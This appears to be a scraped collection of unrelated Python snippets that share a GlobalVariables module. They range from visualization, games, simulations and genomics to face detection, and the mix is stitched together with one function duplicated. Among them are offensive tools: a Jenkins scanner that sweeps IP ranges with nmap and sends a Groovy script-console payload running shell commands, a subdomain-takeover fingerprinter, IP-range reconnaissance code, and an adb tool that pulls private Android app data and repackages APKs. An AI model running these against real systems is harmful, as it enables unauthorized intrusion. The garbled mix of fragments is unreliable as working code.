def main():

    GlobalVariables.init()
     
    app = QApplication([])

    File = QFile("darkorange.stylesheet")
    File.open(QFile.ReadOnly)
    StyleSheet = QLatin1String(File.readAll())    
 
    app.setStyleSheet(StyleSheet)

    tdviz = TDViz.TDVizCustom()
    tdviz.show()
    
    if GlobalVariables.isprojector: # @UndefinedVariable
        tdviz.setGeometry(1920, 0, 1280, 1024)
    else:
        tdviz.showFullScreen()    

    yscreenf = 1.0*tdviz._renWin.GetSize()[1]/1080.0

    cam = tdviz._ren.GetActiveCamera()
    cam.SetScreenBottomLeft(-262.5,148.5-148.5*2.0*yscreenf,-410)
    cam.SetScreenBottomRight(262.5,148.5-148.5*2.0*yscreenf,-410)
    cam.SetScreenTopRight(262.5,148.5,-410) 

    sys.exit(app.exec_())   
def main():

    GlobalVariables.init()

    app = QApplication([])

    File = QFile("darkorange.stylesheet")
    File.open(QFile.ReadOnly)
    StyleSheet = QLatin1String(File.readAll())

    app.setStyleSheet(StyleSheet)

    tdviz = TDViz.TDVizCustom()
    tdviz.show()

    if GlobalVariables.isprojector:  # @UndefinedVariable
        tdviz.setGeometry(1920, 0, 1280, 1024)
    else:
        tdviz.showFullScreen()

    yscreenf = 1.0 * tdviz._renWin.GetSize()[1] / 1080.0

    cam = tdviz._ren.GetActiveCamera()
    cam.SetScreenBottomLeft(-262.5, 148.5 - 148.5 * 2.0 * yscreenf, -410)
    cam.SetScreenBottomRight(262.5, 148.5 - 148.5 * 2.0 * yscreenf, -410)
    cam.SetScreenTopRight(262.5, 148.5, -410)

    sys.exit(app.exec_())
예제 #3
0
 def ExecuteProblem2(self,inputText):
     GlobalVariables.initalizeConstants()
     for sentence in inputText.split('\n'):
         if 'Input:' not in sentence:
             continue
         splitSentence = sentence.split()
         contestants = splitSentence[1:]
     ballot = Ballot([kingdom for kingdom in GlobalVariables.kingdoms if kingdom.Name in contestants])
     ballot.VotingProcess()
     ballot.GetBallotResult()
예제 #4
0
    def __init__(self, population_size: int, mutation_rate: int,
                 num_generations: int):
        pygame.init()
        # the background will be a surface at (0,0)
        self.x = 0
        self.y = 0
        # for infinite game loop
        self.running = True

        # get the width of the screen
        self.width = GlobalVariables.screen_width

        # get the height of the screen
        self.height = GlobalVariables.screen_height

        # set the background color for the window
        self.background_color = (100, 100, 100)

        # background surface for the hiders and seekers as input
        self.background = pygame.Surface((self.width, self.height))
        self.background.fill(self.background_color)
        self.background_rect = pygame.Rect(self.x, self.y, self.width,
                                           self.height)

        # pygame window
        self.screen = pygame.display.set_mode((self.width, self.height))

        # for frame rate
        self.clock = time.time()

        self.population_size = population_size

        # list of entities controlled by neural networks
        self.hiders = [
            GlobalVariables.new_hider() for i in range(self.population_size)
        ]

        # controlled by an algorithm
        self.seekers = [GlobalVariables.new_seeker() for x in self.hiders]

        # for checking when the trial is over
        self.kill_count = 0

        self.mutation_rate = mutation_rate
        self.num_generations = num_generations
        self.current_generation = 0

        self.scores = []

        # final
        self.run()
예제 #5
0
class FindJenkins(object):
	def __init__(self):
		super(FindJenkins, self).__init__()
		self.globalVariables=GlobalVariables()
		self.session = requests.Session()

	def GetUser(self,IP,PORT,FILE,CRUMB):
		URL = "http://"+IP+":"+PORT+""+FILE+""
		paramsPost = {"Jenkins-Crumb":""+CRUMB+"","json":"{\"script\": \"println new ProcessBuilder(\\\"sh\\\",\\\"-c\\\",\\\"whoami\\\").redirectErrorStream(true).start().text\", \"\": \"\\\"\", \"Jenkins-Crumb\": \"4aa6395666702e283f9f3727c4a6df12\"}","Submit":"Run","script":"println new ProcessBuilder(\"sh\",\"-c\",\"whoami\").redirectErrorStream(true).start().text"}
		headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","Referer":URL,"Content-Type":"application/x-www-form-urlencoded"}
		response = self.session.post(URL, data=paramsPost, headers=headers, timeout=15, verify=False)
		result = response.text
		user = re.compile('<h2>Result</h2><pre>(.+?)\n').findall(response.text)[0]
		return user

	def TestJenkins(self, IP,PORT):
		FILE="/script"
		URL = "http://"+IP+":"+PORT+""+FILE+""
		headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}
		response = self.session.get(URL, headers=headers, timeout=15, verify=False)
		if "Jenkins" in response.text:
			print "found"
			if 'Jenkins-Crumb' in response.text:
				CRUMB = re.compile('Jenkins-Crumb", "(.+?)"').findall(response.text)[0]
				GetUser(IP,PORT,FILE,CRUMB)
			else:
				GetUser(IP,PORT,FILE,"")
		else:
			print "Not Found"	

	def EnumerateIPToFindJenkins(self, domain):
		outUpIP="{}{}/{}".format(self.globalVariables.outputDir, domain, "upIP.txt")
		outUpIPWithPort="{}{}/{}".format(self.globalVariables.outputDir, domain, "upIPWithPort.txt")
		outIPv4Ranges="{}{}/{}".format(self.globalVariables.outputDir, domain, "ipv4ranges.txt")
		self.globalVariables.CommandExecutor("nmap -sP -iL {} | grep -E -o '([0-9]{{1,3}}[\\.]){{3}}[0-9]{{1,3}}' > {}".format(outIPv4Ranges, outUpIP))
		self.globalVariables.CommandExecutor("nmap -p8080,8081 -iL {} | grep -E -o '([0-9]{{1,3}}[\\.]){{3}}[0-9]{{1,3}}' | sort | uniq > {}".format(outUpIP, outUpIPWithPort))

		#self.outIPv6Ranges="{}{}/{}".format(self.globalVariables.outputDir, domain, "ipv6ranges.txt")
		
		upHostFile = open(outUpIPWithPort, "r")
		for host in upHostFile:
			try:
				self.TestJenkins(host.strip(), '8080')
			except: 
				print host.strip() + ": Not find"

			try:
				self.TestJenkins(host.strip(), '8081')
			except:
				print host.strip() + ": Not find"
예제 #6
0
 def ExecuteProblem1(self,inputText):
     GlobalVariables.initalizeConstants()
     sender = 'King Shan'
     senderKingdom = Kingdom(sender,'',0)
     conquest = Conquest(senderKingdom)
     for sentence in inputText.split('\n'):
         splitSentence = sentence.split()
         receiver = splitSentence[1][:-1]
         text = r'{}'.format(' '.join(splitSentence[2:]))[1:-1]
         receiverKingdom = next((kingdom for kingdom in GlobalVariables.kingdoms if kingdom.Name == receiver),None)
         msg = Message(senderKingdom, receiverKingdom, text)
         conquest.SendMessage(msg)
         del msg
     conquest.GetResult()
예제 #7
0
def stepSim():
    # take a single step in the simulation
    vars.stepTime()

    # clear plot
    ax.cla()

    # target is detected
    if (np.linalg.norm(uav.position - target.position) < vars.uav_fov / 2):
        # add some noise to the measurement
        measured = np.array([target.position]).T + np.random.normal(
            vars.noiseMean, vars.noiseStd, (2, 1))
        target.measure(measured)
    else:
        target.predict()

    # move target and UAV
    target.step()
    action = np.array([0, 1, 0])
    uav.step(action)

    # plot positions
    ax.plot(target.position[0], target.position[1], 'x')
    ax.plot(uav.position[0], uav.position[1], '*')
    ax.axis([
        -vars.search_radius, vars.search_radius, -vars.search_radius,
        vars.search_radius
    ])
    # plot circle around uav
    radius = vars.uav_fov / 2
    t = np.arange(0, 2 * math.pi, 0.01)
    x = np.cos(t) * radius + uav.position[0]
    y = np.sin(t) * radius + uav.position[1]
    line_fov, = ax.plot(x, y, 'g:', label='Field of View')
    # plot predicted
    ax.plot(target.ePosition[0], target.ePosition[1], '.')
    # plot standard deviation
    sigX = math.sqrt(target.uncertainty[0, 0])
    sigY = math.sqrt(target.uncertainty[1, 1])
    ell = Ellipse(target.ePosition,
                  width=3 * sigX,
                  height=3 * sigY,
                  angle=0,
                  edgecolor='b',
                  lw=2,
                  facecolor='none')
    ax.add_artist(ell)
    plt.title('3$\sigma$ of target position')
예제 #8
0
    def evolve(self):
        # reset the seekers so they spawn at the default spawn point
        self.seekers = [GlobalVariables.new_seeker() for x in self.hiders]

        # calculate fitness of population
        fitness = [x.get_fitness() for x in self.hiders]

        # append to scores for printing diagnostics
        self.scores.append(statistics.median(fitness))

        # select parents
        self.hiders.sort(key=lambda x: x.get_fitness(), reverse=True)
        reproducers = self.hiders[0:int(len(self.hiders) / 2)]

        # mate reproducers
        population = []
        for parent in reproducers:
            # get the genes from a random reproducer and reproduce
            x = random.randint(0, len(reproducers) - 1)
            population.append(
                reproduce(parent, reproducers[x], self.mutation_rate))
            population.append(
                reproduce(parent, reproducers[x], self.mutation_rate))

        self.hiders = population
        self.current_generation += 1
        self.kill_count = 0
        print("generation " + str(self.current_generation) +
              "\timprovement: " +
              str(self.scores[-1] / self.scores[0] - 1)[:5] + "%")
예제 #9
0
def main():
    # Collect arguments
    args = get_args()
    # Set global variables
    GlobalVariables.main(args)
    collectDF = []
    collectFile = []
    collectRC = []

    elementFile = []
    for fileName in GlobalVariables.eFiles:
        elementFile.append(fileName)
        rangeFeatures = ElementLibrary.main(fileName)
        directionFeatures, directionBins = DirectionLibrary.main(
            rangeFeatures, fileName)
        elementDF, elementNames = run_sliding_window_for_each_nucleotide_string(
            rangeFeatures['combineString'], rangeFeatures['id'])
        negStr = (directionFeatures[(
            directionFeatures['compareBoundaries'] == '-')])
        posStr = (directionFeatures[(
            directionFeatures['compareBoundaries'] == '+')])
        elementRC, elementRCNames = sort_sliding_window_by_directionality(
            negStr, posStr)

    # for each element file provided
    for fileName in GlobalVariables.rFiles:
        rangeFeatures = ElementLibrary.main(fileName)
        directionFeatures, directionBins = DirectionLibrary.main(
            rangeFeatures, fileName)
        # separate by direction
        typeWindow, typeNames = run_sliding_window_for_each_nucleotide_string(
            rangeFeatures['combineString'], rangeFeatures['id'])
        collectDF.append(typeWindow)
        collectFile.append(fileName)
        negStr = (directionFeatures[(
            directionFeatures['compareBoundaries'] == '-')])
        posStr = (directionFeatures[(
            directionFeatures['compareBoundaries'] == '+')])
        compWindow, compNames = sort_sliding_window_by_directionality(
            negStr, posStr)
        collectRC.append(compWindow)
    paramlabels = '{0}_{1}_{2}_{3}_{4}_{5}_{6}'.format(
        GlobalVariables.uce, GlobalVariables.inuce, GlobalVariables.num,
        GlobalVariables.binDir, GlobalVariables.window, elementFile,
        GlobalVariables.stringName)
    plot_line_graphs(elementDF, elementRC, collectDF, collectRC, typeNames,
                     'all_random_{0}'.format(paramlabels), collectFile)
	def __init__(self):
		self.globalVariables=GlobalVariables()
		self.COMMON_HOSTING_PROVIDERS = {"heroku": "heroku", 
                            "zendesk": "zendesk", 
                            "bitbucket": "bitbucket",
                            "shopify": "shopify",
                            "teamwork": "teamwork",
                            "unbounce": "unbounce",
                            "github": "github",
                            "helpjuice": "helpjuice",
                            "helpscout": "helpscout",
                            "cargocollective": "cargocollective",
                            "statuspage": "statuspage",
                            "tumblr": "tumblr"}
		self.UNMANAGED_DOMAIN_MSGS=["no application was found", "no such app",
                       "specified bucket does not exist", 
                       "there isn't a github page"]
		self.ANSI_GRN = '\033[0;32m' 
		self.ANSI_CLR = '\033[0;0m'
		self.userAgent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"
		self.timeout = 10
예제 #11
0
 def __init__(self):
     self.multi_counter = 0
     self.multi_total = 0
     self.globalVariables = GlobalVariables()
예제 #12
0
import NeuralNetwork
import math
import HideAndSeek
import Hider
import Seeker
import GlobalVariables

num_pairs = 50

hiders = [GlobalVariables.new_hider() for i in range(num_pairs)]
seekers = [GlobalVariables.new_seeker() for i in range(num_pairs)]
trial = HideAndSeek.HideAndSeek(hiders, seekers)



예제 #13
0
 def __init__(self, mainWin):
     self.mainWin = mainWin
     self.globalVariables = GlobalVariables()
예제 #14
0
class Main:
    def __init__(self, mainWin):
        self.mainWin = mainWin
        self.globalVariables = GlobalVariables()

    def GetDeviceList(self):
        deviceList = []
        isFirstElement = True
        for device in (self.globalVariables.ExecuteCommand(
                "devices -l").strip()).split("\n"):
            try:
                iStart = device.find("model:")
                if iStart != -1:
                    iEnd = device.find(" ", iStart)
                    deviceList.append((device[iStart:iEnd]).strip())
            except:
                "No device found"
        return deviceList

    def GetApplicationList(self, device):
        appList = []
        #cmd="-s "+device+" shell \"su -c ls '/data/data/'\""
        cmd = "-s " + device + " shell ls \"/data/data/\""
        for app in (
                self.globalVariables.ExecuteCommand(cmd).strip()).split("\n"):
            try:
                appList.append(app.strip())
            except:
                "App not found"
        return appList

    def GetDirContent(self, device, dir, appContents, appendPath=False):
        #cmd="-s "+device+" shell \"su -c ls '/data/data/"+appName+"/'\""
        cmd = "-s " + device + " shell ls " + dir
        for appContent in (
                self.globalVariables.ExecuteCommand(cmd).strip()).split("\n"):
            try:
                if appendPath:
                    appContents.append(
                        dir.replace("\"", "") + appContent.strip())
                else:
                    appContents.append(appContent.strip())
            except:
                "No app content found"

    def GetApplicationContent(self, device, appName):
        appContents = []
        self.GetDirContent(device, "\"/data/data/" + appName + "/\"",
                           appContents)
        appDir = self.globalVariables.ExecuteCommand(
            "-s {} shell ls /sdcard/Android/data/ | grep {}".format(
                device, self.mainWin.cmbApp.currentText())).strip()
        if appDir != "":
            print(appDir)
            self.GetDirContent(device,
                               "\"/sdcard/Android/data/" + appName + "/\"",
                               appContents, True)
        return appContents

    '''def IsDirectory(self, device, path):
		#cmd="-s "+device+" shell \"su -c cat "+path+"'\""
		cmd="-s "+device+" shell cat \""+path+"\""
		cmdOutput=self.globalVariables.ExecuteCommand(cmd).strip()
		if cmdOutput.find("Is a directory") != -1:
			return True
		return False'''

    def BuildFileStructure(self, device, appName, dirPath):
        #cmd="-s "+device+" shell \"su -c ls -R '/data/data/"+appName+"/"+dirPath+"/'\""
        if (dirPath.find("/sdcard") == 0):
            cmd = "-s " + device + " shell ls -R \"" + dirPath + "\""
        else:
            cmd = "-s " + device + " shell ls -R \"/data/data/" + appName + "/" + dirPath + "\""
        fileList = []
        directory = ""
        for dirContent in (
                self.globalVariables.ExecuteCommand(cmd).strip()).split("\n"):
            try:
                dirContent = dirContent.strip()
                if dirContent:
                    if dirContent.find(":") != -1 and len(
                            dirContent) == dirContent.find(":") + 1:
                        directory = dirContent[:-1]
                    else:
                        file = directory + "/" + dirContent
                        fileList.append(file.replace("//", "/"))
            except:
                "No file found"
        return fileList

    def GetFileContent(self, device, path):
        path = path.replace(" ", "\\ ").replace("//", "/")
        #cmd="-s "+device+" shell \"su -c cat '"+path+"'\""
        cmd = "-s " + device + " shell cat \"" + path + "\""
        return self.globalVariables.ExecuteCommand(cmd).strip()

    def DownloadDBFile(self, device, filePath, outputPath):
        filePath = filePath.replace(" ", "\\ ").replace("//", "/")
        cmd = "-s " + device + " pull " + filePath + " \"" + outputPath + "\""
        self.globalVariables.ExecuteCommand(cmd)

    def GetAllTables(self, dbPath):
        tables = []
        con = sqlite3.connect(dbPath)
        cursor = con.cursor()
        cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
        for table_name in cursor.fetchall():
            tables.append(table_name[0])
        return tables

    def GetTableData(self, dbPath, tableName):
        rows = []
        con = sqlite3.connect(dbPath)
        cursor = con.cursor()
        cursor.execute("SELECT * FROM " + tableName)

        colnames = cursor.description
        row = ''
        for colname in colnames:
            row += colname[0] + " | "
        rows.append(row)

        for row in cursor.fetchall():
            rows.append(row)
        return rows

    def ListApplication(self):
        appList = self.GetApplicationList(self.mainWin.cmbDevice.currentText())
        self.mainWin.cmbApp.clear()
        for app in appList:
            self.mainWin.cmbApp.addItem(app)

    def ListApplicationContent(self):
        deviceName = self.mainWin.cmbDevice.currentText()
        appName = self.mainWin.cmbApp.currentText()
        appContents = self.GetApplicationContent(deviceName, appName)
        self.mainWin.lstAppDirs.clear()
        for appContent in appContents:
            self.mainWin.lstAppDirs.addItem(QListWidgetItem(appContent))

    def ListFileFromDir(self):
        if len(self.mainWin.lstAppDirs.selectedItems()) == 1:
            deviceName = self.mainWin.cmbDevice.currentText()
            appName = self.mainWin.cmbApp.currentText()
            appDirName = str(self.mainWin.lstAppDirs.selectedItems()[0].text())

            appDirFiles = self.BuildFileStructure(deviceName, appName,
                                                  appDirName)
            self.mainWin.lstAppDirFiles.clear()
            for file in appDirFiles:
                self.mainWin.lstAppDirFiles.addItem(QListWidgetItem(file))
        else:
            print("Multiple Item Selected")

    def DisplayFileContent(self):
        mainWin.chkLogcat.setChecked(False)
        if len(self.mainWin.lstAppDirFiles.selectedItems()) == 1:
            deviceName = self.mainWin.cmbDevice.currentText()
            filePath = (self.mainWin.lstAppDirFiles.selectedItems()[0].text())
            fileContent = self.GetFileContent(deviceName, filePath).strip()
            if fileContent.find("SQLite format 3") == 0:
                if not os.path.exists("dbs"):
                    os.makedirs("dbs")
                fileName = filePath[filePath.rfind('/') + 1:]
                dbPath = "./dbs/" + fileName
                self.DownloadDBFile(deviceName, filePath, dbPath)
                tableList = self.GetAllTables(dbPath)
                self.mainWin.txtFileContent.setText("SQLiteDB : " + dbPath)
                for table in tableList:
                    print(table)
                    self.mainWin.txtFileContent.append(
                        "\n\n\nTable => " + table.format(type(str), repr(str)))
                    rows = self.GetTableData(dbPath, table)
                    isFirstRow = True
                    for columns in rows:
                        rowData = ""
                        for column in columns:
                            try:
                                rowData += column.format(type(str), repr(str))
                                if not isFirstRow:
                                    rowData += " | "
                            except:
                                rowData += str(column)
                                if not isFirstRow:
                                    rowData += " | "
                        isFirstRow = False
                        dataLen = len(rowData)
                        if dataLen > 174:
                            dataLen = 174
                        self.mainWin.txtFileContent.append("-" * dataLen)
                        self.mainWin.txtFileContent.append(rowData)
                        self.mainWin.txtFileContent.append("-" * dataLen)
            elif fileContent.find("ELF") == 1:
                if not os.path.exists("lib"):
                    os.makedirs("lib")
                fileName = filePath[filePath.rfind('/') + 1:]
                libPath = "./lib/" + fileName
                self.DownloadDBFile(deviceName, filePath, libPath)
                self.mainWin.txtFileContent.setText(
                    "Performed \"strings\" command on : ELF lib :" + libPath +
                    "\n\n")
                self.mainWin.txtFileContent.append(
                    self.globalVariables.ExecuteCommand(
                        "strings " + libPath, False))
            else:
                self.mainWin.txtFileContent.setText(fileContent)

        else:
            print("Multiple Item Selected")
        if mainWin.chkHtmlDecode.isChecked():
            text = html.unescape(self.mainWin.txtFileContent.toPlainText())
            self.mainWin.txtFileContent.setText(text)

        if mainWin.chkURLDecode.isChecked():
            text = self.mainWin.txtFileContent.toPlainText()
            text = text.encode('ascii', 'ignore')
            self.mainWin.txtFileContent.setText(text)

    def DisplayLogcat(self):
        if mainWin.chkLogcat.isChecked():
            mainWin.chkURLDecode.setVisible(False)
            mainWin.chkHtmlDecode.setVisible(False)
            mainWin.txtFileContent.setVisible(False)
            mainWin.txtLogcat.setVisible(True)
        else:
            mainWin.chkHtmlDecode.setVisible(True)
            mainWin.chkURLDecode.setVisible(True)
            mainWin.txtFileContent.setVisible(True)
            mainWin.txtLogcat.setVisible(False)

    def DecodeHTMLEntity(self):
        text = self.mainWin.txtFileContent.toPlainText()
        if mainWin.chkHtmlDecode.isChecked():
            text = html.unescape(text)
            self.mainWin.txtFileContent.setText(text)
        else:
            self.DisplayFileContent()

    def DecodeURL(self):
        text = self.mainWin.txtFileContent.toPlainText()
        if mainWin.chkURLDecode.isChecked():
            text = text.encode('ascii', 'ignore')
            self.mainWin.txtFileContent.setText(text)
        else:
            self.DisplayFileContent()

    def FetchAPK(self):
        apkName = self.mainWin.cmbApp.currentText()
        appDir = self.globalVariables.ExecuteCommand(
            "-s {} shell ls /data/app/ | grep {}".format(device,
                                                         apkName)).strip()
        self.globalVariables.ExecuteCommand(
            "-s {} pull /data/app/{}/base.apk {}/{}.apk".format(
                device, appDir, self.globalVariables.outputDir, apkName))
        return apkName

    def RunAPKTool(self):
        apkName = self.FetchAPK()
        self.globalVariables.ExecuteCommand(
            "java -jar {} d {}/{}.apk -f -o {}/{}".format(
                self.globalVariables.apktoolPath,
                self.globalVariables.outputDir, apkName,
                self.globalVariables.outputDir, apkName), False)

    def RunJDGUITool(self):
        apkName = self.FetchAPK()
        self.globalVariables.ExecuteCommand(
            "{} {}/{}.apk -o {}/{}.jar".format(
                self.globalVariables.dex2jarPath,
                self.globalVariables.outputDir, apkName,
                self.globalVariables.outputDir, apkName), False)
        self.globalVariables.ExecuteCommand(
            "java -jar {} {}/{}.jar".format(self.globalVariables.jdGUIPath,
                                            self.globalVariables.outputDir,
                                            apkName), False, False)

    def RunMobSFTool(self):
        isSuccess = self.globalVariables.InitializeMobSFVariables()
        if isSuccess:
            apkName = self.FetchAPK()
            self.globalVariables.ExecuteCommand(
                "curl -F 'file=@./apps/{}.apk' {}/api/v1/upload -H \"Authorization:{}\""
                .format(apkName, self.globalVariables.mobSFURL,
                        self.globalVariables.mobSFAPIKey), False, False)
            webbrowser.open_new_tab("{}/recent_scans/".format(
                self.globalVariables.mobSFURL))

    def RunReinstallAPK(self):
        apkName = self.mainWin.cmbApp.currentText()
        self.globalVariables.ExecuteCommand(
            "java -jar {} b {}/{}/".format(self.globalVariables.apktoolPath,
                                           self.globalVariables.outputDir,
                                           apkName), False)
        self.globalVariables.ExecuteCommand(
            "java -jar {} {}/{}/dist/{}.apk".format(
                self.globalVariables.signJar, self.globalVariables.outputDir,
                apkName, apkName), False)
        self.globalVariables.ExecuteCommand("uninstall {}".format(apkName))
        self.globalVariables.ExecuteCommand(
            "install {}/{}/dist/{}.s.apk".format(
                self.globalVariables.outputDir, apkName, apkName))

    def RunSnapshot(self):
        apkName = self.mainWin.cmbApp.currentText()
        outputDir = "{}/{}_{}".format(self.globalVariables.snapshotDir,
                                      apkName,
                                      str(datetime.now()).replace(" ", "_"))
        if not os.path.exists(outputDir):
            os.mkdir(outputDir)
        appDir = self.globalVariables.ExecuteCommand(
            "-s {} shell ls /data/app/ | grep {}".format(device,
                                                         apkName)).strip()
        self.globalVariables.ExecuteCommand(
            "-s {} pull /data/data/{}/ {}/data_data".format(
                device, apkName, outputDir))
        self.globalVariables.ExecuteCommand(
            "-s {} pull /data/app/{}/ {}/data_app".format(
                device, appDir, outputDir))
예제 #15
0
#!/usr/bin/env python
import cv2
import os
import sys
import numpy as np
from PIL import Image
from pprint import pprint

import GlobalVariables as gvar
import DatabaseHelper as dbh

args = gvar.GetArgs()


def find_all_faces(path_to_img=None,
                   path_to_save=None,
                   show=False,
                   cascade=args.home + '/' +
                   'haarcascade_frontalface_default.xml'):
    os.makedirs(path_to_save, exist_ok=True)
    file_list = dbh.sort_files(path_to_img, ['.jpg', '.png'])
    face_cascade = None
    resize_const = 800
    if len(file_list) == 0:
        print('Искомых файлов в директории не найдено.')
        return 0
    try:
        face_cascade = cv2.CascadeClassifier(cascade)
    except:
        print('Ошибка... [', cascade, '] не найден')
    if show:
예제 #16
0
 def __init__(self):
     super(CollectIPSpaces, self).__init__()
     self.globalVariables = GlobalVariables()
예제 #17
0
#!/usr/bin/env python3

import os
import sys
import os.path

import GlobalVariables as gvars
import scaner_face
import DatabaseHelper as dbh

if __name__ == '__main__':
    # получение данных из командной строки
    args = gvars.GetArgs()
    # выбор режима выполнения
    command = args.command
    if command == None:
        args.get_help()
    # режим камеры
    if command == 'camera':
        scaner_face.camera_scaner(args.path_to_db, args.cascade)

    # поиск всех лиц в папке с изображениями
    elif command == 'allface':
        state = False
        if args._show > 0:
            state = True
        # если state True то изображение выводится
        # пути должны быть полными
        scaner_face.find_all_faces(args.src, args.saveto, state, args.cascade)

    # поиск конкретных лиц в папке с изображениями
예제 #18
0
class CollectIPSpaces(object):
    """docstring for CollectIPSpaces"""
    def __init__(self):
        super(CollectIPSpaces, self).__init__()
        self.globalVariables = GlobalVariables()

    def get_path_cookie_digest(self):
        result = ''
        headerVal = ''
        requetURL = "https://bgp.he.net/search?search%5Bsearch%5D=google&commit=Search"
        response = requests.head(requetURL,
                                 headers=self.globalVariables.bgp_headers,
                                 timeout=10)
        for header in (response.headers['Set-Cookie']).split(" "):
            if header.find("path=") == 0 and header.find("--") != -1:
                headerVal = header.split("=")[1]
                headerVal = headerVal.split(";")[0]
                decodedHeaderVal = urllib.unquote(headerVal)
                result = hashlib.md5(decodedHeaderVal.encode())
        return headerVal, result.hexdigest()

    def get_external_ip_digest(self):
        externalIP = requests.get('http://ip.42.pl/raw').text
        result = hashlib.md5(externalIP.encode())
        return result.hexdigest()

    def get_bgp_session_cookie(self):
        requetURL = "https://bgp.he.net/jc"
        sessionCookieHeaderVal = ''
        headerVal, cookieDigest = self.get_path_cookie_digest()
        response = requests.head(requetURL,
                                 data={
                                     'p': cookieDigest,
                                     'i': self.get_external_ip_digest()
                                 },
                                 cookies={'path': headerVal},
                                 headers=self.globalVariables.bgp_headers,
                                 timeout=10)
        for header in (response.headers['Set-Cookie']).split(" "):
            if header.find("c=") == 0 and header.find("--") != -1:
                headerVal = header.split("=")[1]
                sessionCookieHeaderVal = headerVal.split(";")[0]
        return sessionCookieHeaderVal

    def bgp_he_net_ipspaces(self, companyName, domain):
        ipRanges = []
        finalRanges = []
        outBgpHeNet = "{}{}/{}".format(self.globalVariables.outputDir, domain,
                                       "bgp_he_net.txt")
        requetURL = "https://bgp.he.net/search?search%5Bsearch%5D={}&commit=Search".format(
            companyName)
        request = requests.get(requetURL,
                               cookies={'c': self.get_bgp_session_cookie()},
                               headers=self.globalVariables.bgp_headers,
                               timeout=10)
        soup = BeautifulSoup(request.text, "lxml")
        result = ''
        for column in soup.findAll("td"):
            try:
                data = column.find("a").string
                result += data + "\n"
                ipRanges.append(data)
            except:
                "exception raised"
        self.globalVariables.WriteTextToFile(outBgpHeNet, result)

        resultIPv4 = ''
        resultIPv6 = ''
        self.outIPv4Ranges = "{}{}/{}".format(self.globalVariables.outputDir,
                                              domain, "ipv4ranges.txt")
        self.outIPv6Ranges = "{}{}/{}".format(self.globalVariables.outputDir,
                                              domain, "ipv6ranges.txt")
        for ipRange in ipRanges:
            if ipRange.find("/") != -1:
                if ipRange.find(":") != -1:
                    resultIPv6 += ipRange + "\n"
                else:
                    resultIPv4 += ipRange + "\n"

                if ipRange not in finalRanges:
                    finalRanges.append(ipRange)
            elif ipRange.find("AS") == 0:
                for data in self.whoisIPSpaces(ipRange[2:]):
                    if data not in finalRanges:
                        if data.find(":") != -1:
                            resultIPv6 += data + "\n"
                        else:
                            resultIPv4 += data + "\n"
                        finalRanges.append(data)
        self.globalVariables.WriteTextToFile(self.outIPv4Ranges, resultIPv4)
        self.globalVariables.WriteTextToFile(self.outIPv6Ranges, resultIPv6)
        return finalRanges

    def whoisIPSpaces(self, asnNumber):
        output = self.globalVariables.CommandExecutor(
            "whois -h whois.radb.net -- '-i origin {}' | grep -Eo '([0-9.]+){{4}}/[0-9]+' | sort -n | uniq -c | cut -d' ' -f8"
            .format(asnNumber))
        return output.splitlines()

    def GetAllIPSpaces(self, companyName, domain):
        return self.bgp_he_net_ipspaces(companyName, domain)


#add ARIN & RIPE Processing
#whois.arin.net/ui/Query.do
#apps.db.ripe.net/db-web-ui
            ##print "user input #",i
            ##print "in test_interface: gv._highlighted=",gv._highlighted
            update(1)
            time.sleep(2)


def start():
    default()  # display entire alphabet
    # grab keyboard input
    getKeyIn()


##################################-------------------main---------------########

root = Tk()
gv = GlobalVariables()
bg = Bigraph()
tg = Trigraph()
# bg._print(bg._bigrph1)
# bg._print(bg._bigrph2)
stack = Stack()

canvHeight = 400
canvWidth = 800
gv._canHt = canvHeight
gv._canWdth = canvWidth
txtBxWidth = canvWidth / 20
txtBxHeight = 1

gv._canvas = Canvas(root, height=canvHeight, width=canvWidth, bg="yellow")
gv._canvas.grid(row=2, column=1)
예제 #20
0
class Main:
    def __init__(self, mainWin):
        self.mainWin = mainWin
        self.globalVariables = GlobalVariables()
        self.isSuNeeded = True
        self.device = ""

    def ComposeCmd(self, cmd):
        commandPath = ""
        if self.isSuNeeded:
            commandPath = "-s {} shell \"su -c {}\"".format(self.device, cmd)
        else:
            commandPath = "-s {} shell {}".format(self.device, cmd)
        return commandPath

    def GetDeviceList(self):
        deviceList = []
        isFirstElement = True
        for device in (self.globalVariables.ExecuteCommand(
                "devices -l").strip()).split("\n"):
            try:
                iStart = device.find("model:")
                if iStart != -1:
                    iEnd = device.find(" ", iStart)
                    deviceList.append((device[iStart:iEnd]).strip())
            except:
                "No device found"
        return deviceList

    def GetApplicationList(self):
        self.isSuNeeded = True
        cmd = self.ComposeCmd("ls '/data/data/'")
        output = self.globalVariables.ExecuteCommand(cmd)
        if output.lower().find("unknown id") == 0:
            self.isSuNeeded = False
        else:
            self.isSuNeeded = True
        cmd = self.ComposeCmd("ls '/data/data/'")
        appList = []
        for app in (
                self.globalVariables.ExecuteCommand(cmd).strip()).split("\n"):
            try:
                appList.append(app.strip())
            except:
                "App not found"
        return appList

    def GetDirContent(self, dir, appContents, appendPath=False):
        cmd = self.ComposeCmd("ls '{}'".format(dir))
        for appContent in (
                self.globalVariables.ExecuteCommand(cmd).strip()).split("\n"):
            try:
                if appendPath:
                    appContents.append(
                        dir.replace("\"", "") + appContent.strip())
                else:
                    appContents.append(appContent.strip())
            except:
                "No app content found"

    def GetApplicationContent(self, appName):
        appContents = []
        self.GetDirContent("/data/data/{}".format(appName), appContents)
        cmd = "{} | {} {}".format(
            self.ComposeCmd("ls /sdcard/Android/data/"),
            self.globalVariables.isWindowsOS and "findstr" or "grep",
            self.mainWin.cmbApp.currentText())
        appDir = self.globalVariables.ExecuteCommand(cmd).strip()
        if appDir != "":
            self.GetDirContent("/sdcard/Android/data/" + appName + "/",
                               appContents, True)
        return appContents

    '''def IsDirectory(self, path):
		cmd=self.ComposeCmd("cat '"+path+"'")
		cmdOutput=self.globalVariables.ExecuteCommand(cmd).strip()
